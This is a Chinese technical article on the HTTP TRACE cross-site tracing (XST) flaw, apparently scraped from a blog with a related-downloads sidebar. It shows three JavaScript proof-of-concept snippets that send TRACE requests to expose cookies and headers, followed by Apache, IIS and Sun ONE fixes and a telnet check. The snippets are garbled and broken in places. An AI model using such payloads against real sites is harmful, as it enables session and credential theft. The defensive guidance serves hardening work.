`

http TRACE 跨站攻击 CVE-2003-1567
CVE-2004-2320
CVE-2010-0386

阅读更多

http TRACE 跨站攻击


如果webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。
支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。
攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。
解决方案: 禁用这些方式。

什么是“跨站攻击”呢?业界对其定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。”由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
跨站攻击有多种方式,典型的方式有两种:其一,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。其二,大家都知道,

XST攻击描述:
  攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。
XST攻击条件:
  1、需要目标web服务器允许Trace参数;
  2、需要一个用来插入XST代码的地方;
  3、目标站点存在跨域漏洞。

  XST与XSS的比较:
  相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。

  优点:可以绕过一般的http验证以及NTLM验证

如何利用:

手法1:

<SCRIPT type=text/java script>
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE",");
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}

//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value="XSS TRACE">

手法2:
<SCRIPT type=text/java script>
<!--
function xssTRACE() {
var openWin=open("blank.htm","swords","width=500,height=400");
var otraceswords=openWin.external;
openWin.location.href=http://www.winshell.cn/swords/;
setTimeout(
function () {
//以下必须写在一行
otraceswords.NavigateAndFind(java script:xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE",""不用document.cookie 显示站点http://www.winshell.cn/的头信息。\n" + xmlDoc);,"","");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value="XSS TRACE">

手法3:

<SCRIPT type=text/java script>
function xssTRACE(){
var swords = "var xmlHttp = new ActiveXObject(";
var target = http://www.winshell.cn/swords/;
spinach = encodeURIComponent(swords + ;top.close());
var readyCode = font-size:expression(execScript(decodeURIComponent(" + spinach + ")));
showModalDialog(target, null, readyCode);
}
</SCRIPT>
<BR><INPUT onclick=xssTRACE() type=button value="XSS TRACE">

用apache+mysql+php在win2003架设web服务器,扫描服务器:
提示 www (80/tcp)
http TRACE 跨站攻击

你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。

支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。

攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。

解决方案: 禁用这些方式。


如果你使用的是Apache, 在各虚拟主机的配置文件里添加如下语句:

RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

如果你使用的是Microsoft IIS, 使用URLScan工具禁用HTTP TRACE请求,或者只开放满足站点需求和策略的方式。

如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更高的版本, 在obj.conf文件的默认object section里添加下面的语句:
<Client method="TRACE">
AuthTrans fn="set-variable"
remove-headers="transfer-encoding"
set-headers="content-length: -1"
error="501"
</Client>

如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更低的版本, 编译如下地址的NSAPI插件:
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F50603

参见http://www.whitehatsec.com/press_releases/WH-PR-20030120.pdf
http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0035.html
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F50603
http://www.kb.cert.org/vuls/id/867593

下面介绍一下怎样打开apache的mod_rewrite功能。
#tar -zxvf httpd-2.0.59.tar.gz
#cd httpd-2.0.59
#./configure --prefix=/opt/apache2 --enable-modules=so --enable-module=rewrite --enable-shared=rewrite --enable-shared=max
#make
#make install
apache安装完毕,下面来加载编译mod_rewrite.so这个模块。
#cd /soft/httpd-2.0.59/modules/mappers
#/opt/apache2/bin/apxs -c mod_rewrite.c -lgdbm
#gcc -shared -o mod_rewrite.so mod_rewrite.o -lgdbm
#/opt/apache2/bin/apxs -i -A -n rewrite mod_rewrite.so

是Apache, 在各虚拟主机的配置文件里添加如下语句:

LoadModule rewrite_module modules/mod_rewrite.so

RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

  http TRACE 跨站攻击漏洞测试与防御修复
apache关闭方法可以直接在配置文件http.conf添加TraceEnable off 关闭 有版本要求 好像是2.0以上
在httpd.conf下搜索Global 在
### Section 1: Global Environment
下面加 TraceEnable off
保存OK

如何测试呢.这样
在cmd下输入
telnet 127.0.0.1 80
然后在黑屏状态下输入
TRACE / HTTP/1.0
Host: foo
(foo 可随便写)
在添加TraceEnable off之前,应返回
HTTP/1.1 200 OK
Date: Sat, 20 Oct 2007 20:39:36 GMT
Server: Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07)
Connection: close
Content-Type: message/http
TRACE / HTTP/1.0
Host: foo
Any text entered here will be echoed back in the response
Connection closed by foreign host.

在添加TraceEnable off之后,应返回

HTTP/1.1 403 Forbidden
Date: Sat, 20 Oct 2007 20:38:31 GMT
Server: Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07)
Content-Length: 320
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML(link) PUBLIC "-//IETF//DTD HTML(link) 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.</p>
<hr>
<address>Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07) Server at foo Port 80</address>
</body></html>
Connection closed by foreign host.
 
或者提示:

HTTP/1.1 200 OK

221:/etc/apache2# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
TRACE / HTTP/1.0
Host: foo

HTTP/1.1 400 Bad Request
Date: Fri, 24 Aug 2012 03:29:45 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_perl/2.0.4 Perl/v5.10.0
Vary: Accept-Encoding
Content-Length: 466
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
</pre>
</p>
<hr>
<address>Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_perl/2.0.4 Perl/v5.10.0 Server at 0.0.0.221 Port 

80</address>
</body></html>
Connection closed by foreign host.



至此,可通过安全测试 

 

分享到:
评论

相关推荐

    网站常见漏洞及解决办法

    然而,如果一个Web服务器支持TRACE请求且没有正确配置,则可能会导致安全问题,如跨站追踪攻击(Cross-Site Tracing Attack),攻击者可以通过这种方式获取到其他用户的敏感信息。 **解决方案**: 1. **开启Apache...

    log4j-api-2.17.1.jar和log4j-core-2.17.1.jar

    在2021年底,Log4j2被发现存在一个严重漏洞(CVE-2021-44228),这个远程代码执行(RCE)漏洞允许攻击者通过构造特定的日志输入来执行任意代码。及时升级到2.17.1版本可以避免这个问题,因为此版本包含了针对该漏洞的...

    apache-log4j-1.2.15.jar

    例如,2019年发现的CVE-2019-17571允许远程代码执行,2021年的CVE-2021-44228(Log4Shell漏洞)更是引起了全球范围内的广泛关注,影响巨大。因此,强烈建议升级到Log4j的最新版本,以保障系统的安全性。 对于仍在...

    TLS & SSLv3 renegotiation

    该漏洞由Marsh Ray、Steve Dispensa和Martin Rex于2009年11月9日首次公开,并被跟踪为CVE-2009-35552/VU#1205413。此漏洞可能影响多种平台和协议,并且其影响范围因应用而异。 在讨论“中间人攻击”时,通常认为...

    apache-log4j-2.15.0-bin.tar.gz

    5. **安全增强**:Log4j 2.15.0 版本特别关注安全问题,修复了可能导致远程代码执行的严重漏洞(CVE-2021-44228),增强了系统的安全性。 **部署与使用** 解压"apache-log4j-2.15.0-bin"后,你将得到Log4j的运行时...

    log4j-2.15.0-rc2核心jar.7z

    - **安全修复**:此版本的主要更新是对CVE-2021-44228(Apache Log4j2远程代码执行漏洞)的紧急修复,保证了系统的安全性。 - **性能提升**:log4j 2.x系列相较于1.x版本,在性能上有显著提升,支持异步日志记录,...

    Burp-Extensions

    检查 glassfish 服务器是否易受 CVE-2011-1511 攻击的快捷方式 它将向“创建新用户”对象发出 TRACE,它不会创建新用户。 移植:创建用户! 用法:使用包含请求的动词和 URL 部分的自定义插入点运行 SWF替换 将...

    Haifei Li:Flash安全的过去,现在,和将来

    一些著名的0day漏洞如CVE-2009-1862、CVE-2010-1297等,直到2011年3月他的CanSecWest演讲期间,就已经记录到269个漏洞,而且在随后的20个月里又增加了122个。Haifei Li提到,即使在2011年3月,CVE-2011-0618也被认为...

    Log4j官方最新版2018-4-30

    - 虽然Log4j 1.2系列已不再维护,但其2019年爆出的Log4Shell漏洞(CVE-2019-17571)提醒我们,即使不升级到最新版,也要关注安全更新,避免潜在风险。 5. **版本演进**: - Log4j 2.x:相较于1.2版本,提供了更多...

    log4j-2.17.1的jar包,导入即可使用

    在这个特定版本中,它可能包含了对之前版本中发现的安全漏洞的修复,比如著名的Log4Shell漏洞(CVE-2021-44228),这是2021年底发现的一个严重安全问题,允许远程代码执行。 3. **导入使用**:在Java项目中使用Log4...

    关于log4j的资料关于log4j的资料

    - **Log4j 2.x 的远程代码执行漏洞(CVE-2021-44228)**: 2021年,Log4j 2.x 发现了一个严重漏洞,攻击者可以通过控制日志输入注入恶意代码。及时更新到修复版本,或禁用JNDI查找功能,防止受到攻击。 6. **替代品...

    struts2框架详解

    - 虽然Struts2提供了强大的功能,但历史上也存在过一些严重的安全漏洞,如CVE-2017-5638(Struts2远程代码执行漏洞),因此保持框架和应用的更新至关重要。 总的来说,Struts2是一个功能强大且灵活的Web开发框架,...

    log4j 1.2.17版本jar包

    Log4j 1.2.17虽然稳定,但请注意,较早的Log4j版本存在安全漏洞,例如著名的CVE-2021-44228(Log4Shell漏洞)。如果仍在使用这个版本,强烈建议升级到更安全的版本,以防止潜在的安全风险。 总的来说,Log4j 1.2.17...

    log4j,日志——日志抓取

    Log4j 2.x版本曾爆出严重安全漏洞(CVE-2021-44228,也被称为Log4Shell),影响了全球大量使用Log4j的系统。这个漏洞允许攻击者通过构造恶意的日志输入,执行远程代码。因此,及时更新和维护Log4j版本以确保系统的...

    Log4j

    12. **安全性** - 在2021年,Log4j 2 发现了一个严重漏洞(CVE-2021-44228,也被称为“Log4Shell”),这突显了日志库安全性的关键性。及时更新和安全配置对于防止类似漏洞至关重要。 13. **日志审计** - 通过Log4j...

    log4j2必需jar包

    例如,2021年的Log4Shell漏洞(CVE-2021-44228)是一个严重的问题,影响了许多依赖Log4j2的系统。不过,2.11.1版本已经包含了对该漏洞的部分修复,但为了完全避免风险,最好更新到最新的安全版本。 6. **扩展性**:...

    渗透测试之Nmap扫描工具

    * 版本扫描:用于扫描目标主机和端口上运行的软件的版本,可以在Common vulnerability and Exploits (CVE)数据库中找到应用特定版本的现有漏洞。 * 操作系统侦测:用于探测目标主机的操作系统类型,Nmap存在一个...

    介绍Log4j?

    2021年,Log4j2被发现存在严重的安全漏洞(CVE-2021-44228,又称为Log4Shell),允许远程代码执行。这提醒我们,及时更新和维护日志库是保持系统安全的重要步骤。 **总结** Log4j作为一个强大的日志框架,为Java...

Global site tag (gtag.js) - Google Analytics